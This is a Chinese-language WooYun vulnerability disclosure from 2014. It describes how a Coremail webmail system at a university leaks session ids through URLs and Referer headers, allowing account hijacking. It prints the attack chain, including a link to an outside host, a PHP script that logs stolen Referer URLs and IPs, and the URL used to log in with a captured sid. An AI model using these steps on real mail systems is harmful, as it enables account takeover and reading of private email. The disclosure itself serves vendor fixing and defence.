当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062137

漏洞标题:Coremail邮件系统漏洞无脚本攻击劫持指定用户账号

相关厂商:Coremail盈世信息科技(北京)有限公司

漏洞作者: mramydnei

提交时间:2014-05-24 14:10

修复时间:2014-08-22 14:12

公开时间:2014-08-22 14:12

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-24: 细节已通知厂商并且等待厂商处理中
2014-05-26: 厂商已经确认,细节仅向厂商公开
2014-05-29: 细节向第三方安全合作伙伴开放
2014-07-20: 细节向核心白帽子及相关领域专家公开
2014-07-30: 细节向普通白帽子公开
2014-08-09: 细节向实习白帽子公开
2014-08-22: 细节向公众公开

简要描述:

几个小的问题的组合导致可劫持指定用户账号

详细说明:

测试对象: 使用Coremail邮件系统的某大学邮件系统
测试地址: http://mail.**.edu.cn
问题描述: 这个问题由几个小问题的组合所导致。
第一个问题:
Coremail邮件系统在用户登录成功后,会给用户分配一个32位大小写字母混搭的sid用于用户身份验证。只要用户没有logout,这个sid都不会被销毁且会作为参数出现在用户主界面的URL里,如下图所示。我们一旦获取了sid,就意味着我们可以盗用用户身份去登录用户邮箱。

1.jpg


第二个问题:
就像第一个问题描述的那样,很多用于验证权限的参数和参数的值都会通过URL进行传递。当我们在邮件中插入我们远程服务器上的图片,如下图:

2.jpg


并试图从referer中获取当前邮件的ssid,mid等等时发现获取的referer是空的。

ref: IP:210.39.***>.*** Time:2014.05.24 09:57:23


继续再换一个方法,我们放弃插入图片,改用Anchor:
<a href="//x55.me/ref.php">click me babe</a>
当用户点击我们加入到到邮件里的链接后,从下图可以看到我们获取了完整的URL,如下图:

3.jpg


URL当中包含了,我们需要阅读这封邮件时的各种验证参数及其值。我们现在切换浏览器试图打开我们收到的referer。测试结果可成功读取邮件内容,如下图:

4.jpg


这里你可能会觉得,读取了自己发送的邮件有什么用。请慢慢往下看。
第三个问题
在问题二中,我们试图加入网络图片在邮件当中。现在我们试试上传本地图片功能。我们现在通过上传图片功能在邮件里上传一个图片并发送给受害者。最后再来看看邮件源码里的图片的地址。

<img identifier="img_identifier_1400908716094" src="/coremail/s?func=user:proxyGet&sid=BARrNLUUUlAwDLwyDaUUqmrWcdUAhYrj&mid=1:1tbiAQAOBVC9aUS31AAEst&url=%2Fcoremail%2FXJS%2Fimages%2Fing_yellow.gif">


从图中不难想像这里做了一个权限验证。如果你想要访问我们服务器上的被上传的文件,最起码你得是我们的用户。所以就要验证一下sid。
现在我们将这三个问题整合一下,描述一下大概的攻击流程:
1.给目标用户发送一个邮件。邮件里添加一个超级链接,地址为: http://x55.me/ref.php
ref.php的内容很简单:

<?php
file_put_contents("test.txt", " ref:".$_SERVER["HTTP_REFERER"], FILE_APPEND);
file_put_contents("test.txt", " IP:".$_SERVER["REMOTE_ADDR"], FILE_APPEND);
file_put_contents("test.txt", " Time:".date("Y.m.d H:i:s")."\r\n",FILE_APPEND);
?>


这一步是为了通过远程图片,获取referer进而盗取当前邮件的ssid,mid等等进而达到阅读用户邮件的目的。
然后我们在邮件里,通过上传本地图片的方式,上传一个图片文件。这一步骤是为了,让邮件里包含用户的sid。这样一来我们在越权阅读邮件时就可以窃取到用户sid进而劫持用户账号了。

漏洞证明:

发送符合上述描述的邮件:

5.jpg


用户点击后,查看收到的referer:

6.jpg


在别的浏览器里打开referer中的URL,查看html源码里的sid:

7.jpg


最后构造URL:mail.szu.edu.cn/coremail/XJS/index.jsp?sid=这里是刚才截获的sid
,并成功登录

8.jpg


修复方案:

暂无

版权声明:转载请注明来源 mramydnei@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-05-26 11:04

厂商回复:

相关系统因为某种配置原因降低了默认安全级别,导致内部可信任用户之间通信安全检查降低,已针对性建议相关客户提高安全策略配置。

最新状态:

暂无